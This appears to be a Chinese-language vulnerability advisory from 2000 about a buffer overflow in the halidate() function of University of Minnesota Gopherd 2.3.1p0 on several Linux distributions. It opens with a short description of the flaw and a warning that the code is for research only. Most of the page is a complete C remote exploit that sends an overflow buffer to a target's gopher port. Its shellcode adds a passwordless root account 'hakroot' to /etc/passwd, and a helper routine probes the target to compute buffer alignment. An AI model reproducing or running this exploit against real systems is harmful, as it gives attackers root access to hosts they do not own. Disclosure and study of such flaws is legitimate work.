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安全研究
安全漏洞
UMN Gopherd 2.x Halidate函数缓冲区溢出
发布日期：2000-08-22
更新日期：2000-08-22
受影响系统：
University of Minnesota Gopherd 2.3.1p0 and previous描述：
- S.u.S.E. Linux 7.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- MandrakeSoft Linux Mandrake 7.1
- Debian Linux 2.1
University of Minnesota's Gopher Daemon存在缓冲区溢出漏洞，有可能导致所在
主机系统崩溃、远程用户在本机执行任意代码等等。守护进程的halidate()函数实现
中未检查缓冲区大小，大约600字节的数据覆盖到512字节大小的缓冲区中，导致缓冲
区溢出。
<* 来源：Chris Sharp v9@fakehalo.org *>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#define BSIZE 512 // buffer size. (tmpbuf[512] minus server data)
#define PADDING 150 // ret reps. (host+port length guessing room)
#define POINTER 0xbffff65c // base pointer in which offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon port.
#define DEFAULT_OFFSET 0 // default offset. (argument is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout ()
{
printf( "[timeout]: Connection timeout(%d).\n", TIMEOUT );
quit( -1 );
}
int main ( int argc, char * argv[] )
{
char bof[ BSIZE ];
int i, sock, port, offset, align, ga = 0;
long ret = DEFAULT_OFFSET;
struct hostent * t;
struct sockaddr_in s;
printf( "*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer overflow, by: v9[v9@fake"
"halo.org].\n" );
if ( argc < 2 )
{
printf( "[syntax]: %s <target> [port] [offset] [alignment].\n", argv[0] );
printf( "[syntax]: %s <target> <[port] [-getalignment]>.\n", argv[0] );
quit( 0 );
}
if ( argc > 2 )
{
if ( !strcmp( argv[2], "-getalignment" ) )
{
ga = 1;
port = DEFAULT_PORT;
}
else
{
port = atoi( argv[2] );
}
}
else
{
port = DEFAULT_PORT;
}
if ( argc > 3 )
{
if ( !strcmp( argv[3], "-getalignment" ) )
{
ga = 1;
}
else
{
offset = atoi( argv[3] );
}
}
else
{
offset = DEFAULT_OFFSET;
}
if ( argc > 4 )
{
if ( atoi( argv[4] ) < 0 || atoi( argv[4] ) > 3 )
{
printf( "[ignored]: Invalid alignment, using default alignment. (0-3)\n" );
align = DEFAULT_ALIGN;
}
else
{
align = atoi( argv[4] );
}
}
else
{
align = DEFAULT_ALIGN;
}
if ( ga )
{
getalignment( argv[1], port );
}
else
{
ret = ( POINTER + offset );
printf( "[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size: %d, Padding: %d.\n",
ret, offset, align, BSIZE,PADDING );
for ( i = align; i < BSIZE; i += 4 )
{
*( long * )&bof[i] = ret;
}
for ( i = 0; i < ( BSIZE - strlen( exec ) - PADDING ); i++ )
{
*( bof + i ) = 0x90;
}
memcpy( bof + i, exec, strlen( exec ) );
memcpy( bof, "halidate ", 9 );
bof[ BSIZE ] = '\0';
if ( s.sin_addr.s_addr = inet_addr( argv[1] ) )
{
if ( !( t = gethostbyname( argv[1] ) ) )
{
printf( "[error]: Couldn't resolve. (%s)\n", argv[1] );
quit( -1 );
}
memcpy( ( char * )&s.sin_addr, ( char * )t->h_addr, sizeof( s.sin_addr ) );
}
s.sin_family = AF_INET;
s.sin_port = htons( port );
sock = socket( AF_INET, SOCK_STREAM, 0 );
signal( SIGALRM, timeout );
printf( "[data]: Attempting to connect to %s on port %d.\n", argv[1], port );
alarm( TIMEOUT );
if ( connect( sock, ( struct sockaddr_in * )&s, sizeof( s ) ) )
{
printf( "[error]: Connection failed. (port=%d)\n", port );
quit( -1 );
}
alarm( 0 );
printf( "[data]: Connected successfully. (port=%d)\n", port );
printf( "[data]: Sending buffer(%d) to server.\n", strlen( bof ) );
write( sock, bof, strlen( bof ) );
usleep( 500000 );
printf( "[data]: Closing socket.\n" );
close( sock );
}
quit( 0 );
} /* end of main */
int getalignment ( char * target, int port )
{
char buf[ 1024 ];
int i, j, si, sock,math;
struct hostent * t;
struct sockaddr_in s;
if ( s.sin_addr.s_addr = inet_addr( target ) )
{
if ( !( t = gethostbyname( target ) ) )
{
printf( "[error]: Couldn't resolve. (%s)\n", target );
quit( -1 );
}
memcpy( ( char * )&s.sin_addr, ( char * )t->h_addr, sizeof( s.sin_addr ) );
}
s.sin_family = AF_INET;
s.sin_port = htons( port );
sock = socket( AF_INET, SOCK_STREAM, 0 );
signal( SIGALRM, timeout );
printf( "[data]: Attempting to connect to %s on port %d.\n", target,port );
alarm( TIMEOUT );
if ( connect( sock, ( struct sockaddr_in * )&s, sizeof( s ) ) )
{
printf( "[error]: Connection failed. (port=%d)\n", port );
quit( -1 );
}
alarm( 0 );
printf( "[data]: Connected successfully. (port=%d)\n", port );
alarm( TIMEOUT );
write( sock, "halidate \n", 10 );
for ( i = 0; i < 2; i++ )
{
if ( !read( sock, buf, 1024 ) )
{
si++;
}
}
i = 0;
while ( buf[ i ] && !( buf[ i ] == 0x4E ) )
{
i++;
}
j = 0;
while ( buf[ j ] && !( buf[ j ] == 0x25 ) )
{
j++;
}
usleep( 500000 );
printf( "[data]: Closing socket.\n" );
close( sock );
if ( !si || i >= j || strlen( buf ) < 64 )
{
printf( "[error]: Too minimal or invalid data recieved to calculate. (try agai"
"n?)\n" );
quit( -1 );
}
else
{
math = ( i - j - 2 );
while ( math < 0 )
{
math += 4;
}
printf( "[data]: Alignment calculation: %d.\n", math );
}
} /* end of getalignment */
int quit ( int i )
{
if ( i )
{
printf( "[exit]: Dirty exit.\n" );
exit( 0 );
}
else
{
printf( "[exit]: Clean exit.\n" );
exit( -1 );
}
} /* end of quit */
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